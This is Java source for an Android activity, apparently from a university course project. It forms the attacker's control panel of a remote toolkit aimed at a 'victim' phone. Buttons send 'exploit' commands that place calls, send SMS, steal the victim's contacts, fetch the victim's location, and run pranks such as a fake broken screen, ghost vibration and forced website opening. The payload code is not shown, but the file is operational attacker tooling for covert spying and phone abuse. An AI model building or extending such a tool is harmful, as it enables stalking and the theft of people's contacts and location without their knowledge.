package fsu.cs.cis5930;

import android.app.Application;
import android.app.TabActivity;
import android.content.Intent;
import android.content.res.Resources;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.Window;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.TabHost;
import android.widget.TextView;
import android.widget.Button;

/**
 * ToolkitActivity: This is the user interface fired when a victim is selected.
 * This activity assumes that VictimMAC has been set in the global application.
 *
 */
public class ToolkitActivity extends TabActivity
{
	Button makeCall,
	makeRandCall,
	sendText,
	sendRandText,
	stealContacts,
	displayContacts,
	getLocation,
	breakScreen,
	makeSound,
	makeToast,
	makeVibrate,
	webButton;

	private Connection mConnection;
	private GlobalApplication GLOBAL;
	public void onCreate(Bundle savedInstanceState){
		super.onCreate(savedInstanceState);

		requestWindowFeature(Window.FEATURE_CUSTOM_TITLE);
		setContentView(R.layout.toolkit);
		getWindow().setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.custom_title);

		GLOBAL = (GlobalApplication) getApplicationContext();
		mConnection = GLOBAL.getConnection();

		TextView mTitle = (TextView) findViewById(R.id.title_left_text);
		mTitle.setText("Connected to: " + ((GlobalApplication)getApplication()).getVictim().Name );
		Resources res = getResources();
		TabHost tabHost = getTabHost();


		View view = getLayoutInflater().inflate(R.layout.telephony, tabHost.getTabContentView(), false);
		tabHost.getTabContentView().addView(view);
		tabHost.addTab(tabHost.newTabSpec("telephony").setIndicator("Telephony",
				res.getDrawable(android.R.drawable.ic_menu_call)).setContent(view.getId()));
		makeCall = (Button) findViewById(R.id.btn_make_call);
		makeRandCall = (Button) findViewById(R.id.btn_random_call);
		sendText = (Button) findViewById(R.id.btn_send_text);
		sendRandText = (Button) findViewById(R.id.btn_send_random_text);

		makeCall.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object phoneNum = ((EditText) findViewById(R.id.exp_phone)).getText().toString();
				mConnection.sendExploit(Exploits.Type.MAKE_CALL, phoneNum);
			} 
		});

		makeRandCall.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				mConnection.sendExploit(Exploits.Type.MAKE_RANDOM_CALL);
			} 
		});

		sendText.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object toNumber = ((EditText) findViewById(R.id.exp_phone)).getText().toString();
				Object SMSmessage = ((EditText) findViewById(R.id.exp_text)).getText().toString();
				mConnection.sendExploit(Exploits.Type.SEND_TEXT, toNumber, SMSmessage);
			} 
		});

		sendRandText.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object SMSmessage = ((EditText) findViewById(R.id.exp_text)).getText().toString();
				mConnection.sendExploit(Exploits.Type.SEND_RANDOM_TEXT, SMSmessage );
			} 
		});

		
		/* SPYING stuff */
		view = getLayoutInflater().inflate(R.layout.spying, tabHost.getTabContentView(), false);
		tabHost.getTabContentView().addView(view);
		tabHost.addTab(tabHost.newTabSpec("spying").setIndicator("Spy",
				res.getDrawable(android.R.drawable.ic_menu_zoom)).setContent(view.getId()));
		stealContacts = (Button) findViewById(R.id.btn_contacts);

		stealContacts.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				mConnection.sendExploit(Exploits.Type.STEAL_CONTACTS);
			} 
		});
		
		displayContacts = (Button) findViewById(R.id.btn_contacts_display);

		displayContacts.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v)
			{
				Intent i = new Intent(ToolkitActivity.this, ContactsDisplay.class);
				
				startActivity(i);
			} 
		});
		
		getLocation = (Button) findViewById(R.id.btn_location);

		getLocation.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				mConnection.sendExploit(Exploits.Type.GET_LOCATION);
			} 
		});
		view = getLayoutInflater().inflate(R.layout.pranking, tabHost.getTabContentView(), false);
		tabHost.getTabContentView().addView(view);
		tabHost.addTab(tabHost.newTabSpec("pranking").setIndicator("Prank",
				res.getDrawable(android.R.drawable.ic_menu_delete)).setContent(view.getId()));
		breakScreen = (Button) findViewById(R.id.btn_break_glass);
		makeSound = (Button) findViewById(R.id.btn_play_sound);
		makeToast = (Button) findViewById(R.id.btn_toast);
		makeVibrate = (Button) findViewById(R.id.btn_ghost_vibrate);
		webButton = (Button) findViewById(R.id.prank_web_address_btn);
		
		breakScreen.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				mConnection.sendExploit(Exploits.Type.BROKEN);
			} 
		});
		makeSound.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object selection = ((Spinner) findViewById(R.id.exp_play_sound)).getSelectedItemId();
				mConnection.sendExploit(Exploits.Type.PLAY_MUSIC, selection);
			} 
		});
		makeToast.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object toastMessage = ((EditText) findViewById(R.id.exp_toast_txt)).getText().toString();
				mConnection.sendExploit(Exploits.Type.DISPLAY_TOAST, toastMessage);
			} 
		});
		makeVibrate.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				mConnection.sendExploit(Exploits.Type.VIBRATE_GHOST);
			} 
		});

		webButton.setOnClickListener(new Button.OnClickListener(){
			public void onClick(View v){
				Object webAddress = ((EditText) findViewById(R.id.prank_web_address_text)).getText().toString();
				mConnection.sendExploit(Exploits.Type.OPEN_WEBSITE, webAddress);
			}
		});
		LayoutInflater.from(this).inflate(R.layout.toolkit, tabHost.getTabContentView(), true);
		tabHost.setCurrentTab(0);
	}
}
